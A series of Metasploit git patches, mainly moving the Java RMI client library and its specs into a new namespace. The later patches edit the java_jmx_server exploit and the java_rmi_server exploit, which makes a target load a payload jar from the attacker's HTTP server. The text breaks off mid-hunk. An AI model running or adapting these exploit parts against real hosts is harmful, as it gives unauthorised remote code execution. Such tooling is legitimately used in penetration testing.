java/rmi/registry/RegistryImpl_Stub#list() method - # - # @param opts [Hash] - # @option opts [Rex::Socket::Tcp] :sock - # @return [Array, NilClass] The set of names if success, nil otherwise - # @raise [Rex::Proto::Rmi::Exception] if the endpoint raises a remote exception - # @see Msf::Java::Rmi::Client::Registry::Builder.build_registry_list - def send_registry_list(opts = {}) - send_call( - sock: opts[:sock] || sock, - call: build_registry_list(opts) - ) - - return_value = recv_return( - sock: opts[:sock] || sock - ) - - if return_value.nil? - return nil - end - - if return_value.is_exception? - raise ::Rex::Proto::Rmi::Exception, return_value.get_class_name - end - - names = parse_registry_list(return_value) - - names - end - - # Calculates the hash to make RMI calls for the - # java/rmi/registry/RegistryImpl_Stub interface - # - # @return [Fixnum] The interface's hash - def registry_interface_hash - hash = calculate_interface_hash( - [ - { - name: 'bind', - descriptor: '(Ljava/lang/String;Ljava/rmi/Remote;)V', - exceptions: ['java.rmi.AccessException', 'java.rmi.AlreadyBoundException', 'java.rmi.RemoteException'] - }, - { - name: 'list', - descriptor: '()[Ljava/lang/String;', - exceptions: ['java.rmi.AccessException', 'java.rmi.RemoteException'] - }, - { - name: 'lookup', - descriptor: '(Ljava/lang/String;)Ljava/rmi/Remote;', - exceptions: ['java.rmi.AccessException', 'java.rmi.NotBoundException', 'java.rmi.RemoteException'] - }, - { - name: 'rebind', - descriptor: '(Ljava/lang/String;Ljava/rmi/Remote;)V', - exceptions: ['java.rmi.AccessException', 'java.rmi.RemoteException'] - }, - { - name: 'unbind', - descriptor: '(Ljava/lang/String;)V', - exceptions: ['java.rmi.AccessException', 'java.rmi.NotBoundException', 'java.rmi.RemoteException'] - } - ] - ) - - hash - end - end - end - end - end -end diff --git a/lib/msf/java/rmi/client/registry/builder.rb b/lib/msf/java/rmi/client/registry/builder.rb deleted file mode 100644 index acc9b11113..0000000000 --- a/lib/msf/java/rmi/client/registry/builder.rb +++ /dev/null @@ -1,66 +0,0 @@ -# -*- coding: binary -*- - -module Msf - module Java - module Rmi - module Client - module Registry - module Builder - - # Builds an RMI call to java/rmi/registry/RegistryImpl_Stub#lookup() used to - # retrieve the remote reference bound to a name. - # - # @param opts [Hash] - # @option opts [String] :name the name to lookup - # @return [Rex::Proto::Rmi::Model::Call] - # @see Msf::Java::Rmi::Builder.build_call - def build_registry_lookup(opts = {}) - object_number = opts[:object_number] || 0 - uid_number = opts[:uid_number] || 0 - uid_time = opts[:uid_time] || 0 - uid_count = opts[:uid_count] || 0 - name = opts[:name] || '' - - call = build_call( - object_number: object_number, - uid_number: uid_number, - uid_time: uid_time, - uid_count: uid_count, - operation: 2, # java.rmi.Remote lookup(java.lang.String) - hash: registry_interface_hash, - arguments: [Rex::Java::Serialization::Model::Utf.new(nil, name)] - ) - - call - end - - # Builds an RMI call to java/rmi/registry/RegistryImpl_Stub#list() used to - # enumerate the names bound in a registry - # - # @param opts [Hash] - # @return [Rex::Proto::Rmi::Model::Call] - # @see Msf::Java::Rmi::Builder.build_call - def build_registry_list(opts = {}) - object_number = opts[:object_number] || 0 - uid_number = opts[:uid_number] || 0 - uid_time = opts[:uid_time] || 0 - uid_count = opts[:uid_count] || 0 - - call = build_call( - object_number: object_number, - uid_number: uid_number, - uid_time: uid_time, - uid_count: uid_count, - operation: 1, # java.lang.String list()[] - hash: registry_interface_hash, - arguments: [] - ) - - call - end - end - end - end - end - end -end diff --git a/lib/msf/java/rmi/client/registry/parser.rb b/lib/msf/java/rmi/client/registry/parser.rb deleted file mode 100644 index 9ed55c0f2d..0000000000 --- a/lib/msf/java/rmi/client/registry/parser.rb +++ /dev/null @@ -1,49 +0,0 @@ -# -*- coding: binary -*- - -module Msf - module Java - module Rmi - module Client - module Registry - module Parser - # Parses a java/rmi/registry/RegistryImpl_Stub#lookup() return value to find out - # the remote reference information. - # - # @param return_value [Rex::Java::Serialization::Model::ReturnValue] - # @return [Hash, NilClass] The remote interface information if success, nil otherwise - def parse_registry_lookup_endpoint(return_value) - values_size = return_value.value.length - end_point_block_data = return_value.value[values_size - 2] - unless end_point_block_data.is_a?(Rex::Java::Serialization::Model::BlockData) - return nil - end - - return_io = StringIO.new(end_point_block_data.contents, 'rb') - - reference = extract_reference(return_io) - - reference - end - - # Parses a java/rmi/registry/RegistryImpl_Stub#list() return value to find out - # the list of names registered. - # - # @param return_value [Rex::Java::Serialization::Model::ReturnValue] - # @return [Array, NilClass] The list of names registered if success, nil otherwise - def parse_registry_list(return_value) - unless return_value.value[0].is_a?(Rex::Java::Serialization::Model::NewArray) - return nil - end - - unless return_value.value[0].type == 'java.lang.String;' - return nil - end - - return_value.value[0].values.collect { |val| val.contents } - end - end - end - end - end - end -end diff --git a/lib/msf/java/rmi/util.rb b/lib/msf/java/rmi/util.rb deleted file mode 100644 index 8be7f69638..0000000000 --- a/lib/msf/java/rmi/util.rb +++ /dev/null @@ -1,122 +0,0 @@ -# -*- coding: binary -*- -require 'rex/java/serialization' -require 'rex/text' - -module Msf - module Java - module Rmi - module Util - # Calculates a method hash to make RMI calls as defined by the JDK 1.2 - # - # @param signature [String] The remote method signature as specified by the JDK 1.2, - # method name + method descriptor (as explained in the Java Virtual Machine Specification) - # @return [Fixnum] The method hash - # @see http://docs.oracle.com/javase/8/docs/platform/rmi/spec/rmi-stubs24.html The RemoteRef Interface documentation to understand how method hashes are calculated - def calculate_method_hash(signature) - utf = Rex::Java::Serialization::Model::Utf.new(nil, signature) - sha1 = Rex::Text.sha1_raw(utf.encode) - - sha1.unpack('Q<')[0] - end - - # Calculates an interface hash to make RMI calls as defined by the JDK 1.1 - # - # @param methods [Array] set of method names and their descriptors - # @return [Fixnum] The interface hash - # @see http://docs.oracle.com/javase/8/docs/platform/rmi/spec/rmi-stubs24.html The RemoteRef Interface documentation to understand how interface hashes are calculated - def calculate_interface_hash(methods) - stream = '' - stream << [1].pack('N') # stub version number - - methods.each do |m| - utf_method = Rex::Java::Serialization::Model::Utf.new(nil, m[:name]) - utf_descriptor = Rex::Java::Serialization::Model::Utf.new(nil, m[:descriptor]) - stream << utf_method.encode - stream << utf_descriptor.encode - m[:exceptions].each do |e| - utf_exception = Rex::Java::Serialization::Model::Utf.new(nil, e) - stream << utf_exception.encode - end - end - - sha1 = Rex::Text.sha1_raw(stream) - - sha1.unpack('Q<')[0] - end - - # Extracts an string from an IO - # - # @param io [IO] the io to extract the string from - # @return [String, nil] the extracted string if success, nil otherwise - def extract_string(io) - raw_length = io.read(2) - unless raw_length && raw_length.length == 2 - return nil - end - length = raw_length.unpack('s>')[0] - - string = io.read(length) - unless string && string.length == length - return nil - end - - string - end - - # Extracts an int from an IO - # - # @param io [IO] the io to extract the int from - # @return [Fixnum, nil] the extracted int if success, nil otherwise - def extract_int(io) - int_raw = io.read(4) - unless int_raw && int_raw.length == 4 - return nil - end - int = int_raw.unpack('l>')[0] - - int - end - - # Extracts a long from an IO - # - # @param io [IO] the io to extract the long from - # @return [Fixnum, nil] the extracted int if success, nil otherwise - def extract_long(io) - int_raw = io.read(8) - unless int_raw && int_raw.length == 8 - return nil - end - int = int_raw.unpack('q>')[0] - - int - end - - # Extract an RMI interface reference from an IO - # - # @param io [IO] the io to extract the reference from, should contain the data - # inside a BlockData with the reference information. - # @return [Hash, nil] the extracted reference if success, nil otherwise - # @see Msf::Java::Rmi::Client::Jmx:Server::Parser#parse_jmx_new_client_endpoint - # @see Msf::Java::Rmi::Client::Registry::Parser#parse_registry_lookup_endpoint - def extract_reference(io) - ref = extract_string(io) - unless ref && ref == 'UnicastRef' - return nil - end - - address = extract_string(io) - return nil unless address - - port = extract_int(io) - return nil unless port - - object_number = extract_long(io) - - uid = Rex::Proto::Rmi::Model::UniqueIdentifier.decode(io) - - {address: address, port: port, object_number: object_number, uid: uid} - end - end - end - end -end diff --git a/modules/auxiliary/gather/java_rmi_registry.rb b/modules/auxiliary/gather/java_rmi_registry.rb index 85173e7ca3..d6ddc26305 100644 --- a/modules/auxiliary/gather/java_rmi_registry.rb +++ b/modules/auxiliary/gather/java_rmi_registry.rb @@ -9,7 +9,7 @@ require 'rex/java/serialization' class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Report - include Msf::Java::Rmi::Client + include Msf::Exploit::Remote::Java::Rmi::Client def initialize super( diff --git a/modules/auxiliary/scanner/misc/java_rmi_server.rb b/modules/auxiliary/scanner/misc/java_rmi_server.rb index c5e8013907..ead12ac27a 100644 --- a/modules/auxiliary/scanner/misc/java_rmi_server.rb +++ b/modules/auxiliary/scanner/misc/java_rmi_server.rb @@ -8,7 +8,7 @@ require 'rex/java/serialization' class Metasploit3 < Msf::Auxiliary - include Msf::Java::Rmi::Client + include Msf::Exploit::Remote::Java::Rmi::Client include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report diff --git a/modules/exploits/multi/misc/java_jmx_server.rb b/modules/exploits/multi/misc/java_jmx_server.rb index dbc2a782f4..41e9235f3a 100644 --- a/modules/exploits/multi/misc/java_jmx_server.rb +++ b/modules/exploits/multi/misc/java_jmx_server.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer - include Msf::Java::Rmi::Client + include Msf::Exploit::Remote::Java::Rmi::Client def initialize(info = {}) super(update_info(info, diff --git a/modules/exploits/multi/misc/java_rmi_server.rb b/modules/exploits/multi/misc/java_rmi_server.rb index b557a3bf4b..884da1bd96 100644 --- a/modules/exploits/multi/misc/java_rmi_server.rb +++ b/modules/exploits/multi/misc/java_rmi_server.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Java::Rmi::Client + include Msf::Exploit::Remote::Java::Rmi::Client include Msf::Exploit::Remote::HttpServer def initialize(info = {}) diff --git a/spec/lib/msf/java/rmi/builder_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/builder_spec.rb similarity index 95% rename from spec/lib/msf/java/rmi/builder_spec.rb rename to spec/lib/msf/core/exploit/remote/java/rmi/builder_spec.rb index 8e8a47f80e..1a3b7a6992 100644 --- a/spec/lib/msf/java/rmi/builder_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/builder_spec.rb @@ -3,12 +3,12 @@ require 'spec_helper' require 'rex/java/serialization' require 'rex/proto/rmi' -require 'msf/java/rmi/builder' +require 'msf/core/exploit/java/rmi/builder' -describe Msf::Java::Rmi::Builder do +describe Msf::Exploit::Remote::Java::Rmi::Builder do subject(:mod) do mod = ::Msf::Exploit.new - mod.extend ::Msf::Java::Rmi::Builder + mod.extend ::Msf::Exploit::Remote::Java::Rmi::Builder mod.send(:initialize) mod end diff --git a/spec/lib/msf/java/rmi/client/jmx/connection/builder_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection/builder_spec.rb similarity index 97% rename from spec/lib/msf/java/rmi/client/jmx/connection/builder_spec.rb rename to spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection/builder_spec.rb index e69563a88c..4f66a6ee59 100644 --- a/spec/lib/msf/java/rmi/client/jmx/connection/builder_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection/builder_spec.rb @@ -4,12 +4,12 @@ require 'spec_helper' require 'stringio' require 'rex/java/serialization' require 'rex/proto/rmi' -require 'msf/java/rmi/client' +require 'msf/core/exploit/java/rmi/client' -describe Msf::Java::Rmi::Client::Jmx::Connection::Builder do +describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection::Builder do subject(:mod) do mod = ::Msf::Exploit.new - mod.extend ::Msf::Java::Rmi::Client + mod.extend ::Msf::Exploit::Remote::Java::Rmi::Client mod.send(:initialize) mod end diff --git a/spec/lib/msf/java/rmi/client/jmx/connection_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection_spec.rb similarity index 97% rename from spec/lib/msf/java/rmi/client/jmx/connection_spec.rb rename to spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection_spec.rb index 068988f14a..37ceff8bf7 100644 --- a/spec/lib/msf/java/rmi/client/jmx/connection_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/connection_spec.rb @@ -3,10 +3,10 @@ require 'spec_helper' require 'rex/java/serialization' require 'rex/proto/rmi' -require 'msf/java/rmi/client' +require 'msf/core/exploit/java/rmi/client' require 'stringio' -describe Msf::Java::Rmi::Client::Jmx::Connection do +describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Connection do let(:name_get) { 'DefaultDomain:type=MLet' } @@ -86,7 +86,7 @@ describe Msf::Java::Rmi::Client::Jmx::Connection do subject(:mod) do mod = ::Msf::Exploit.new - mod.extend ::Msf::Java::Rmi::Client + mod.extend ::Msf::Exploit::Remote::Java::Rmi::Client mod.send(:initialize) mod end diff --git a/spec/lib/msf/java/rmi/client/jmx/server/builder_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server/builder_spec.rb similarity index 93% rename from spec/lib/msf/java/rmi/client/jmx/server/builder_spec.rb rename to spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server/builder_spec.rb index 42ebde3b17..1aed0b988d 100644 --- a/spec/lib/msf/java/rmi/client/jmx/server/builder_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server/builder_spec.rb @@ -4,12 +4,12 @@ require 'spec_helper' require 'stringio' require 'rex/java/serialization' require 'rex/proto/rmi' -require 'msf/java/rmi/client' +require 'msf/core/exploit/java/rmi/client' -describe Msf::Java::Rmi::Client::Jmx::Server::Builder do +describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server::Builder do subject(:mod) do mod = ::Msf::Exploit.new - mod.extend ::Msf::Java::Rmi::Client + mod.extend ::Msf::Exploit::Remote::Java::Rmi::Client mod.send(:initialize) mod end diff --git a/spec/lib/msf/java/rmi/client/jmx/server/parser_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server/parser_spec.rb similarity index 93% rename from spec/lib/msf/java/rmi/client/jmx/server/parser_spec.rb rename to spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server/parser_spec.rb index a88dfdfc5b..1aa6e4c984 100644 --- a/spec/lib/msf/java/rmi/client/jmx/server/parser_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server/parser_spec.rb @@ -3,12 +3,12 @@ require 'spec_helper' require 'rex/java/serialization' require 'rex/proto/rmi' -require 'msf/java/rmi/client' +require 'msf/core/exploit/java/rmi/client' -describe Msf::Java::Rmi::Client::Jmx::Server::Parser do +describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server::Parser do subject(:mod) do mod = ::Msf::Exploit.new - mod.extend ::Msf::Java::Rmi::Client + mod.extend ::Msf::Exploit::Remote::Java::Rmi::Client mod.send(:initialize) mod end diff --git a/spec/lib/msf/java/rmi/client/jmx/server_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb similarity index 92% rename from spec/lib/msf/java/rmi/client/jmx/server_spec.rb rename to spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb index fbc2bf81ed..05e9e16ff1 100644 --- a/spec/lib/msf/java/rmi/client/jmx/server_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/jmx/server_spec.rb @@ -3,10 +3,10 @@ require 'spec_helper' require 'rex/java/serialization' require 'rex/proto/rmi' -require 'msf/java/rmi/client' +require 'msf/core/exploit/java/rmi/client' require 'stringio' -describe Msf::Java::Rmi::Client::Jmx::Server do +describe Msf::Exploit::Remote::Java::Rmi::Client::Jmx::Server do let(:new_client_response) do "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + @@ -32,7 +32,7 @@ describe Msf::Java::Rmi::Client::Jmx::Server do subject(:mod) do mod = ::Msf::Exploit.new - mod.extend ::Msf::Java::Rmi::Client + mod.extend ::Msf::Exploit::Remote::Java::Rmi::Client mod.send(:initialize) mod end diff --git a/spec/lib/msf/java/rmi/client/registry/builder_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/registry/builder_spec.rb similarity index 92% rename from spec/lib/msf/java/rmi/client/registry/builder_spec.rb rename to spec/lib/msf/core/exploit/remote/java/rmi/client/registry/builder_spec.rb index 3dabb37979..6dc4364f4e 100644 --- a/spec/lib/msf/java/rmi/client/registry/builder_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/registry/builder_spec.rb @@ -3,12 +3,12 @@ require 'spec_helper' require 'rex/java/serialization' require 'rex/proto/rmi' -require 'msf/java/rmi/client' +require 'msf/core/exploit/java/rmi/client' -describe ::Msf::Java::Rmi::Client::Registry::Builder do +describe ::Msf::Exploit::Remote::Java::Rmi::Client::Registry::Builder do subject(:mod) do mod = ::Msf::Exploit.new - mod.extend ::Msf::Java::Rmi::Client + mod.extend ::Msf::Exploit::Remote::Java::Rmi::Client mod.send(:initialize) mod end diff --git a/spec/lib/msf/java/rmi/client/registry/parser_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/registry/parser_spec.rb similarity index 94% rename from spec/lib/msf/java/rmi/client/registry/parser_spec.rb rename to spec/lib/msf/core/exploit/remote/java/rmi/client/registry/parser_spec.rb index d137b9d034..34c9ada7c4 100644 --- a/spec/lib/msf/java/rmi/client/registry/parser_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/registry/parser_spec.rb @@ -3,12 +3,12 @@ require 'spec_helper' require 'rex/java/serialization' require 'rex/proto/rmi' -require 'msf/java/rmi/client' +require 'msf/core/exploit/java/rmi/client' -describe Msf::Java::Rmi::Client::Registry::Parser do +describe Msf::Exploit::Remote::Java::Rmi::Client::Registry::Parser do subject(:mod) do mod = ::Msf::Exploit.new - mod.extend ::Msf::Java::Rmi::Client + mod.extend ::Msf::Exploit::Remote::Java::Rmi::Client mod.send(:initialize) mod end diff --git a/spec/lib/msf/java/rmi/client/registry_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client/registry_spec.rb similarity index 98% rename from spec/lib/msf/java/rmi/client/registry_spec.rb rename to spec/lib/msf/core/exploit/remote/java/rmi/client/registry_spec.rb index 702d37cfc3..7e03e1bea0 100644 --- a/spec/lib/msf/java/rmi/client/registry_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client/registry_spec.rb @@ -3,10 +3,10 @@ require 'spec_helper' require 'rex/java/serialization' require 'rex/proto/rmi' -require 'msf/java/rmi/client' +require 'msf/core/exploit/java/rmi/client' require 'stringio' -describe Msf::Java::Rmi::Client::Registry do +describe Msf::Exploit::Remote::Java::Rmi::Client::Registry do let(:list_with_names_response) do "\x51\xac\xed\x00\x05\x77\x0f\x01\x82\x73\x92\x35\x00\x00\x01\x4c" + @@ -144,7 +144,7 @@ describe Msf::Java::Rmi::Client::Registry do subject(:mod) do mod = ::Msf::Exploit.new - mod.extend ::Msf::Java::Rmi::Client + mod.extend ::Msf::Exploit::Remote::Java::Rmi::Client mod.send(:initialize) mod end diff --git a/spec/lib/msf/java/rmi/client_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/client_spec.rb similarity index 95% rename from spec/lib/msf/java/rmi/client_spec.rb rename to spec/lib/msf/core/exploit/remote/java/rmi/client_spec.rb index 008b543ae1..f99eb14609 100644 --- a/spec/lib/msf/java/rmi/client_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/client_spec.rb @@ -3,12 +3,12 @@ require 'spec_helper' require 'rex/java/serialization' require 'rex/proto/rmi' -require 'msf/java/rmi/client' +require 'msf/core/exploit/java/rmi/client' -describe Msf::Java::Rmi::Client do +describe Msf::Exploit::Remote::Java::Rmi::Client do subject(:mod) do mod = ::Msf::Exploit.new - mod.extend ::Msf::Java::Rmi::Client + mod.extend ::Msf::Exploit::Remote::Java::Rmi::Client mod.send(:initialize) mod end diff --git a/spec/lib/msf/java/rmi/util_spec.rb b/spec/lib/msf/core/exploit/remote/java/rmi/util_spec.rb similarity index 96% rename from spec/lib/msf/java/rmi/util_spec.rb rename to spec/lib/msf/core/exploit/remote/java/rmi/util_spec.rb index b8cc6351fc..45c9909430 100644 --- a/spec/lib/msf/java/rmi/util_spec.rb +++ b/spec/lib/msf/core/exploit/remote/java/rmi/util_spec.rb @@ -2,12 +2,12 @@ require 'spec_helper' require 'rex/java/serialization' -require 'msf/java/rmi/util' +require 'msf/core/exploit/java/rmi/util' -describe Msf::Java::Rmi::Util do +describe Msf::Exploit::Remote::Java::Rmi::Util do subject(:mod) do mod = ::Msf::Exploit.new - mod.extend ::Msf::Java::Rmi::Util + mod.extend ::Msf::Exploit::Remote::Java::Rmi::Util mod.send(:initialize) mod end From 2b94b703657e869502a1cb7a88074a53f739221b Mon Sep 17 00:00:00 2001 From: HD Moore Date: Fri, 9 Oct 2015 17:49:22 -0700 Subject: [PATCH 0884/2172] Always connect to RHOST regardless of JMXRMI address --- modules/exploits/multi/misc/java_jmx_server.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/misc/java_jmx_server.rb b/modules/exploits/multi/misc/java_jmx_server.rb index 41e9235f3a..b91e3433d2 100644 --- a/modules/exploits/multi/misc/java_jmx_server.rb +++ b/modules/exploits/multi/misc/java_jmx_server.rb @@ -141,7 +141,7 @@ class Metasploit3 < Msf::Exploit::Remote print_good("#{peer} - JMXRMI endpoint on #{mbean_server[:address]}:#{mbean_server[:port]}") end - connect(true, { 'RHOST' => mbean_server[:address], 'RPORT' => mbean_server[:port] }) + connect(true, { 'RPORT' => mbean_server[:port] }) unless is_rmi? fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol with the MBean server") end From a590b8021110b475c65b7b1de4f107d550dca21e Mon Sep 17 00:00:00 2001 From: HD Moore Date: Fri, 9 Oct 2015 20:20:35 -0700 Subject: [PATCH 0885/2172] Update autoregister_ports, try both addresses for the MBean --- lib/msf/core/exploit/java/rmi/util.rb | 15 +++++ .../exploits/multi/misc/java_jmx_server.rb | 11 +++- .../exploits/multi/misc/java_rmi_server.rb | 66 +++++++++---------- 3 files changed, 56 insertions(+), 36 deletions(-) diff --git a/lib/msf/core/exploit/java/rmi/util.rb b/lib/msf/core/exploit/java/rmi/util.rb index 17757c6177..8371b711f0 100644 --- a/lib/msf/core/exploit/java/rmi/util.rb +++ b/lib/msf/core/exploit/java/rmi/util.rb @@ -119,6 +119,21 @@ module Msf {address: address, port: port, object_number: object_number, uid: uid} end + # Register ports and services for autofilter support + # + def register_common_rmi_ports_and_services + register_autofilter_ports([ + 999, 1090, 1098, 1099, 1100, 1101, 1102, 1103, 1129, 1030, 1035, 1199, 1234, 1440, 3273, 3333, 3900, + 2199, 2809, 5520, 5580, 5521, 5999, 6060, 6789, 6996, 7700, 7800, 7878, 7890, 7801, 8050, 8051, 8085, + 8091, 8205, 8303, 8642, 8701, 8686, 8888, 8889, 8890, 8901, 8902, 8903, 8999, 9001, 9003, 9004, 9005, + 9050, 9090, 9099, 9300, 9500, 9711, 9809, 9810, 9811, 9812, 9813, 9814, 9815, 9875, 9910, 9991, 9999, + 10001, 10162, 10098, 10099, 11001, 11099, 11333, 12000, 13013, 14000, 15000, 15001, 15200, 16000, + 17200, 18980, 20000, 23791, 26256, 31099, 33000, 32913, 37718, 45230, 47001, 47002, 50050, 50500, + 50501, 50502, 50503, 50504 + ]) + register_autofilter_services(%W{ rmi rmid java-rmi rmiregistry }) + end + end end end diff --git a/modules/exploits/multi/misc/java_jmx_server.rb b/modules/exploits/multi/misc/java_jmx_server.rb index b91e3433d2..5c1f979d8e 100644 --- a/modules/exploits/multi/misc/java_jmx_server.rb +++ b/modules/exploits/multi/misc/java_jmx_server.rb @@ -56,7 +56,7 @@ class Metasploit3 < Msf::Exploit::Remote Msf::OptString.new('JMX_PASSWORD', [false, 'The password to interact with an authenticated JMX endpoint']), Msf::OptString.new('JMXRMI', [true, 'The name where the JMX RMI interface is bound', 'jmxrmi']) ], self.class) - + register_common_rmi_ports_and_services end def on_request_uri(cli, request) @@ -141,7 +141,14 @@ class Metasploit3 < Msf::Exploit::Remote print_good("#{peer} - JMXRMI endpoint on #{mbean_server[:address]}:#{mbean_server[:port]}") end - connect(true, { 'RPORT' => mbean_server[:port] }) + # First try to connect to the original RHOST, since the mbean address may be inaccessible + begin + connect(true, { 'RPORT' => mbean_server[:port] }) + rescue Rex::ConnectionError + # If that fails, try connecting to the listed address instead + connect(true, { 'RHOST' => mbean_server[:address], 'RPORT' => mbean_server[:port] }) + end + unless is_rmi? fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol with the MBean server") end diff --git a/modules/exploits/multi/misc/java_rmi_server.rb b/modules/exploits/multi/misc/java_rmi_server.rb index 884da1bd96..600173018c 100644 --- a/modules/exploits/multi/misc/java_rmi_server.rb +++ b/modules/exploits/multi/misc/java_rmi_server.rb @@ -16,13 +16,13 @@ class Metasploit3 < Msf::Exploit::Remote 'Name' => 'Java RMI Server Insecure Default Configuration Java Code Execution', 'Description' => %q{ This module takes advantage of the default configuration of the RMI Registry and - RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it + RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it invokes a method in the RMI Distributed Garbage Collector which is available via every - RMI endpoint, it can be used against both rmiregistry and rmid, and against most other + RMI endpoint, it can be used against both rmiregistry and rmid, and against most other (custom) RMI endpoints as well. Note that it does not work against Java Management Extension (JMX) ports since those do - not support remote class loading, unless another RMI endpoint is active in the same + not support remote class loading, unless another RMI endpoint is active in the same Java process. RMI method calls do not support or require any sort of authentication. @@ -32,14 +32,14 @@ class Metasploit3 < Msf::Exploit::Remote 'References' => [ # RMI protocol specification - [ 'URL', 'http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html'], + [ 'URL', 'http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html'], # Placeholder reference for matching - [ 'MSF', 'java_rmi_server'] + [ 'MSF', 'java_rmi_server'] ], 'DisclosureDate' => 'Oct 15 2011', 'Platform' => %w{ java linux osx solaris win }, 'Privileged' => false, - 'Payload' => { 'BadChars' => '', 'DisableNops' => true }, + 'Payload' => { 'BadChars' => '', 'DisableNops' => true }, 'Stance' => Msf::Exploit::Stance::Aggressive, 'DefaultOptions' => { @@ -82,29 +82,27 @@ class Metasploit3 < Msf::Exploit::Remote )) register_options([ Opt::RPORT(1099), - OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]), - ], self.class) - - register_autofilter_ports([ 1098, 1099 ]) - register_autofilter_services(%W{ rmi rmid java-rmi rmiregistry }) + OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]), + ], self.class) + register_common_rmi_ports_and_services end def exploit begin Timeout.timeout(datastore['HTTPDELAY']) { super } rescue Timeout::Error - # When the server stops due to our timeout, re-raise + # When the server stops due to our timeout, re-raise # RuntimeError so it won't wait the full wfs_delay - raise ::RuntimeError, "Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request" + raise ::RuntimeError, "Timeout HTTPDELAY expired and the HTTP Server didn't get a payload request" rescue Msf::Exploit::Failed - # When the server stops due primer failing, re-raise + # When the server stops due primer failing, re-raise # RuntimeError so it won't wait the full wfs_delays - raise ::RuntimeError, "Exploit aborted due to failure #{fail_reason} #{(fail_detail || "No reason given")}" - rescue Rex::ConnectionTimeout, Rex::ConnectionRefused => e + raise ::RuntimeError, "Exploit aborted due to failure #{fail_reason} #{(fail_detail || "No reason given")}" + rescue Rex::ConnectionTimeout, Rex::ConnectionRefused => e # When the primer fails due to an error connecting with - # the rhost, re-raise RuntimeError so it won't wait the + # the rhost, re-raise RuntimeError so it won't wait the # full wfs_delays - raise ::RuntimeError, e.message + raise ::RuntimeError, e.message end end @@ -119,7 +117,7 @@ class Metasploit3 < Msf::Exploit::Remote send_header ack = recv_protocol_ack if ack.nil? - fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol") + fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol") end jar = rand_text_alpha(rand(8)+1) + '.jar' @@ -143,45 +141,45 @@ class Metasploit3 < Msf::Exploit::Remote # JDK 1.1 stub protocol # Interface hash: 0xf6b6898d8bf28643 (sun.rmi.transport.DGCImpl_Stub) - # Operation: 0 (public void clean(ObjID[] paramArrayOfObjID, long paramLong, VMID paramVMID, boolean paramBoolean)) + # Operation: 0 (public void clean(ObjID[] paramArrayOfObjID, long paramLong, VMID paramVMID, boolean paramBoolean)) send_call( object_number: 2, uid_number: 0, uid_time: 0, uid_count: 0, operation: 0, - hash: dgc_interface_hash, # java.rmi.dgc.DGC interface hash + hash: dgc_interface_hash, # java.rmi.dgc.DGC interface hash arguments: build_dgc_clean_args(new_url) ) return_value = recv_return if return_value.nil? && !session_created? - fail_with(Failure::Unknown, 'RMI Call failed') + fail_with(Failure::Unknown, 'RMI Call failed') end if return_value && return_value.is_exception? && loader_disabled?(return_value) - fail_with(Failure::NotVulnerable, 'The RMI class loader is disabled') + fail_with(Failure::NotVulnerable, 'The RMI class loader is disabled') end if return_value && return_value.is_exception? && class_not_found?(return_value) - fail_with(Failure::Unknown, 'The RMI class loader couldn\'t find the payload') + fail_with(Failure::Unknown, 'The RMI class loader couldn\'t find the payload') end disconnect end - def on_request_uri(cli, request) + def on_request_uri(cli, request) if request.uri =~ /\.jar$/i p = regenerate_payload(cli) jar = p.encoded_jar paths = [ - [ "metasploit", "RMILoader.class" ], - [ "metasploit", "RMIPayload.class" ], + [ "metasploit", "RMILoader.class" ], + [ "metasploit", "RMIPayload.class" ], ] - jar.add_files(paths, MetasploitPayloads.path('java')) + 